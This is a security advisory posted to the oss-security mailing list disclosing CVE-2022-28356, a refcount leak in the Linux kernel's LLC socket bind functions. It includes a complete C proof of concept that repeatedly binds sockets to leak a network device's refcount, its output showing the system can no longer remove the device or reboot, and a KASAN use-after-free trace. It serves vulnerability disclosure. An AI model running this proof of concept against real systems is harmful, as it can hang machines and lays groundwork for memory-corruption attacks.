Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 6 Apr 2022 14:22:04 +0200
From: Gianluca Gabrielli <ggabrielli@...e.de>
To: oss-security@...ts.openwall.com
Cc: 赵子轩 <beraphin@...il.com>
Subject: CVE-2022-28356: Linux kernel: refcount leak in llc_ui_bind and
 llc_ui_autobind

Hi list,

Below you can find the security-bug report Beraphin shared with us a few
days ago. It's been addressed in mainline at 764f4eb [0].
Mitre assigned CVE-2022-28356.

[0]
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=764f4eb6846f5475f1244767d24d25dd86528a4a

Beraphin wrote:
>
> I found a refcount leak bug in llc_ui_bind() from /net/llc/af_llc.c. In this function, if it finds an ARPHRD_ETHER type net device, it will hold the device's refcount:
>

```
> '''
> if (sk->sk_bound_dev_if) {
> llc->dev = dev_get_by_index_rcu(&init_net, sk->sk_bound_dev_if);
> if (llc->dev) {
> if (is_zero_ether_addr(addr->sllc_mac))
> memcpy(addr->sllc_mac, llc->dev->dev_addr,
>       IFHWADDRLEN);
> if (addr->sllc_arphrd != llc->dev->type ||
>    !ether_addr_equal(addr->sllc_mac,
>      llc->dev->dev_addr)) {
> rc = -EINVAL;
> llc->dev = NULL;
> }
> }
> } else
> llc->dev = dev_getbyhwaddr_rcu(&init_net, addr->sllc_arphrd,
>   addr->sllc_mac);
> dev_hold_track(llc->dev, &llc->dev_tracker, GFP_ATOMIC);
> '''
```

>
> but doesn't release the device if it fails to find a usable sap later:
>

```
> '''
> sap = llc_sap_find(addr->sllc_sap);
> if (!sap) {
> sap = llc_sap_open(addr->sllc_sap, NULL);
> rc = -EBUSY; /* some other network layer is using the sap */
> if (!sap)
> goto out;
> } else {
>         ...
> out_put:
> llc_sap_put(sap);
> out:
> release_sock(sk);
> '''
```

>
> If we call llc_ui_bind() on a socket multiple times and provide it a used sllc_sap each time, the device's refcount will be increased unexpectedly, and the device cannot be removed then.
> A simple PoC code is as below:
>

```
> '''
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <errno.h>
> #include <sys/socket.h>
> #include <linux/llc.h>
> #include <time.h>
>
> #define REVISE_NUM 20
> #define ARPHRD_ETHER 1
>
> int main(void)
> {
>     int s1, s2, ret, i;
>     char eth0[] = {0, 0, 0, 0, 0, 0}; // change it
>     int try;
>     struct sockaddr_llc addr;
>
>     memset(&addr, 0, sizeof(struct sockaddr_llc));
>     addr.sllc_family = AF_LLC;
>     addr.sllc_arphrd = ARPHRD_ETHER;
>     memcpy(addr.sllc_mac, eth0, 6);
>     addr.sllc_sap = 20;
>
>     s1 = socket(PF_LLC, SOCK_STREAM, 0);
>     s2 = socket(PF_LLC, SOCK_STREAM, 0);
>
>     printf("s1 = %d, s2 = %d\n", s1, s2);
>
>
>     ret = bind(s1, (struct sockaddr *)&addr, sizeof(struct sockaddr_llc));
>     printf("bind1 return %d\n", ret);
>     ret = bind(s2, (struct sockaddr *)&addr, sizeof(struct sockaddr_llc));
>     printf("bind2 return %d\n", ret);
>     ret = bind(s2, (struct sockaddr *)&addr, sizeof(struct sockaddr_llc));
>     printf("bind3 return %d\n", ret);
>     ret = bind(s2, (struct sockaddr *)&addr, sizeof(struct sockaddr_llc));
>     printf("bind4 return %d\n", ret);
>
>     close(s1);
>     close(s2);
>
>     return 0;
> }
> '''
>
> After executing the poc above, we can neither remove the bounded net_device nor reboot the OS. The PoC is
tested on Linux-5.17-rc5:
>
> '''
> / # /home/pwn/exp
> s1 = 3, s2 = 4
> bind1 return 0
> bind2 return -1
> bind3 return -1
> bind4 return -1
> / #
> / # reboot
> / #
> / # rmmod e1000
> [  185.976235] unregister_netdevice: waiting for eth0 to become free. Usage count = 3
> [  196.056399] unregister_netdevice: waiting for eth0 to become free. Usage count = 3
> '''
>
> An attacker can leverage this flaw to trigger an integer overflow on the device's refcount and eventually
lead to a use-after-free bug:
>
> '''
> [   97.850647] ==================================================================
> [   97.850647] BUG: KASAN: use-after-free in llc_alloc_frame+0x2aa/0x320 [llc2]
> [   97.850647] Read of size 2 at addr ffff88803e9b2128 by task swapper/2/0
> [   97.850647]
> [   97.850647] CPU: 2 PID: 0 Comm: swapper/2 Tainted: G            E     5.17.0-rc5 #2
> [   97.850647] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
> [   97.850647] Call Trace:
> [   97.850647]  <IRQ>
> [   97.850647]  dump_stack_lvl+0x89/0xb5
> [   97.850647]  print_address_description.constprop.0+0x24/0x150
> [   97.850647]  ? llc_alloc_frame+0x2aa/0x320 [llc2]
> [   97.850647]  kasan_report.cold+0x82/0xdb
> [   97.850647]  ? llc_alloc_frame+0x2aa/0x320 [llc2]
> [   97.850647]  __asan_report_load2_noabort+0x14/0x20
> [   97.850647]  llc_alloc_frame+0x2aa/0x320 [llc2]
> [   97.850647]  ? llc_conn_set_p_flag+0xf0/0xf0 [llc2]
> [   97.850647]  llc_conn_ac_send_sabme_cmd_p_set_x+0x56/0x470 [llc2]
> [   97.850647]  ? __sanitizer_cov_trace_switch+0x54/0x90
> [   97.850647]  ? llc_conn_set_p_flag+0xf0/0xf0 [llc2]
> [   97.850647]  llc_conn_state_process+0x3fa/0x13f0 [llc2]
> [   97.850647]  llc_conn_tmr_common_cb+0x2c0/0x6d0 [llc2]
> [   97.850647]  ? llc_conn_busy_tmr_cb+0x30/0x30 [llc2]
> [   97.850647]  llc_conn_ack_tmr_cb+0x23/0x30 [llc2]
> [   97.850647]  call_timer_fn+0x46/0x290
> [   97.850647]  ? llc_conn_busy_tmr_cb+0x30/0x30 [llc2]
> [   97.850647]  __run_timers.part.0+0x6b0/0x9b0
> [   97.850647]  ? call_timer_fn+0x290/0x290
> [   97.850647]  ? __sanitizer_cov_trace_cmp4+0x16/0x20
> [   97.850647]  ? ktime_get+0xff/0x150
> [   97.850647]  ? lapic_next_event+0x5b/0x90
> [   97.850647]  ? __sanitizer_cov_trace_const_cmp4+0x16/0x20
> [   97.850647]  ? clockevents_program_event+0x14a/0x390
> [   97.850647]  run_timer_softirq+0xb8/0x1b0
> [   97.850647]  __do_softirq+0x1ac/0x5af
> [   97.850647]  __irq_exit_rcu+0xd9/0x190
> [   97.850647]  irq_exit_rcu+0xe/0x10
> [   97.850647]  sysvec_apic_timer_interrupt+0x98/0xb0
> [   97.850647]  </IRQ>
> [   97.850647]  <TASK>
> [   97.850647]  asm_sysvec_apic_timer_interrupt+0x12/0x20
> [   97.850647] RIP: 0010:native_safe_halt+0xb/0x10
> '''
>
> The function llc_ui_autobind() has the same issue.

Best Regards,
Gianluca

--
. o .  Gianluca Gabrielli                      gianlu.ca
. . o  Software security engineer               suse.com
o o o  D78D 3FDC 2591 7EBA B52F 2362 6E17 38B8 2B60 B31D
-Dance like no one's watching, encrypt like everyone is-
```

Download attachment "OpenPGP_signature" of type "application/pgp-signature**" (841 bytes)**